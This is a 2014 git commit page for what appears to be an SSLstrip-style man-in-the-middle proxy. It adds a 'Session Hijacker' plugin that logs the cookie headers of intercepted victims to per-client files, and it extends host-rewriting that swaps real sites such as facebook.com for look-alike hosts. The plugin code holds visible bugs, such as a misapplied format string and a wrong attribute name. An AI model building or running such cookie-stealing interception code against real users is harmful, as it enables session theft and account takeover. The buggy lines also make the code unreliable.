added PoC session hijacking plugin

This commit is contained in:
byt3bl33d3r 2014-11-26 20:01:28 +01:00
parent e2132a6ca9
commit e4cf519356
7 changed files with 69 additions and 17 deletions

View file

@ -8,3 +8,4 @@ accounts.google.se = cuentas.google.se
#for facebook #for facebook
www.facebook.com = social.facebook.com www.facebook.com = social.facebook.com
facebook.com = social.facebook.com

View file

@ -0,0 +1,30 @@
from plugins.plugin import Plugin
import os
import argparse
import logging
class SessionHijacker(Plugin):
name = "Session Hijacker"
optname = "hijack"
desc = "Performs session hijacking attacks against clients"
implements = ["sendHeaders"]
has_opts = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.log_clients = options.clients
def sendHeaders(self, request):
for header, value in request.headers.items():
if header == 'cookie':
if self.log_clients:
log_file = open('./logs/%s.log', 'a' % request.client.getClientIP())
log_file.write(request.header['host'], value, "\n")
log_file.close()
logging.info("%s %s << Wrote cookie to logfile" % (request.client.getClientIP(), request.headers['host']))
else:
logging.info("%s %s << Got cookie: %s" % (request.client.getClientIP(), request.headers['host'], value))
#def add_options(options):

View file

@ -94,7 +94,10 @@ class ClientRequest(Request):
client = self.getClientIP() client = self.getClientIP()
path = self.getPathFromUri() path = self.getPathFromUri()
self.content.seek(0,0) try:
self.content.seek(0,0)
except:
pass
postData = self.content.read() postData = self.content.read()
url = 'http://' + host + path url = 'http://' + host + path

View file

@ -76,11 +76,22 @@ class ClientRequest(Request):
del headers['if-none-match'] del headers['if-none-match']
if 'host' in headers: if 'host' in headers:
host = self.urlMonitor.URLgetRealHost("%s" % headers['host']) real_host = self.urlMonitor.URLgetRealHost("%s" % headers['host'])
logging.debug("Modifing HOST header: %s -> %s" % (headers['host'],host)) #logging.info("Modifing HOST header: %s -> %s" % (headers['host'],host))
headers['host'] = host if 'www.' in real_host:
headers['securelink'] = '1' fake_host = 'w' + real_host
self.setHeader('Host',host) headers['host'] = fake_host
fake_host = self.urlMonitor.URLgetRealHost("%s" % headers['host'])
headers['securelink'] = '1'
self.setHeader('Host', fake_host)
logging.info("Modifing HOST header: %s -> %s" % (real_host,fake_host))
else:
fake_host = 'web' + real_host
headers['host'] = fake_host
fake_host = self.urlMonitor.URLgetRealHost("%s" % headers['host'])
headers['securelink'] = '1'
self.setHeader('Host', fake_host)
logging.info("Modifing HOST header: %s -> %s" % (real_host,fake_host))
return headers return headers
@ -112,7 +123,12 @@ class ClientRequest(Request):
host = self.urlMonitor.URLgetRealHost("%s" % lhost) host = self.urlMonitor.URLgetRealHost("%s" % lhost)
client = self.getClientIP() client = self.getClientIP()
path = self.getPathFromUri() path = self.getPathFromUri()
self.content.seek(0, 0)
try:
self.content.seek(0, 0)
except:
pass
postData = self.content.read() postData = self.content.read()
real = self.urlMonitor.real real = self.urlMonitor.real
patchDict = self.urlMonitor.patchDict patchDict = self.urlMonitor.patchDict

View file

@ -54,7 +54,7 @@ class ServerConnection(HTTPClient):
def sendRequest(self): def sendRequest(self):
if self.command == 'GET': if self.command == 'GET':
logging.info("%s Sending Request: %s %s" % (self.client.getClientIP(), self.command, self.headers['host'])) logging.info("%s Sending Request: %s %s %s" % (self.client.getClientIP(), self.command, self.headers['host'], self.headers['user-agent']))
self.plugins.hook() self.plugins.hook()
self.sendCommand(self.command, self.uri) self.sendCommand(self.command, self.uri)
@ -100,8 +100,8 @@ class ServerConnection(HTTPClient):
if (value.find('gzip') != -1): if (value.find('gzip') != -1):
logging.debug("Response is compressed...") logging.debug("Response is compressed...")
self.isCompressed = True self.isCompressed = True
if (key.lower() == 'strict-transport-security'): #if (key.lower() == 'strict-transport-security'):
value = 'max-age=0' # value = 'max-age=0'
elif (key.lower() == 'content-length'): elif (key.lower() == 'content-length'):
self.contentLength = value self.contentLength = value

View file

@ -40,5 +40,7 @@ class ServerConnectionFactory(ClientFactory):
logging.debug("Retrying via SSL") logging.debug("Retrying via SSL")
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
else: else:
self.client.finish() try:
self.client.finish()
except:
pass

View file

@ -64,14 +64,14 @@ class URLMonitor:
#LEO: Sustituir HOST #LEO: Sustituir HOST
if not self.sustitucion.has_key(host): if not self.sustitucion.has_key(host):
lhost = host[:4] lhost = host[:4]
if lhost=="www.": if lhost=="www.":
self.sustitucion[host] = "w"+host self.sustitucion[host] = "w"+host
self.real["w"+host] = host self.real["w"+host] = host
else: else:
self.sustitucion[host] = "web"+host self.sustitucion[host] = "web"+host
self.real["web"+host] = host self.real["web"+host] = host
#logging.info("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) logging.info("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
url = 'http://' + host + path url = 'http://' + host + path
#logging.debug("LEO stripped URL: %s %s"%(client, url)) #logging.debug("LEO stripped URL: %s %s"%(client, url))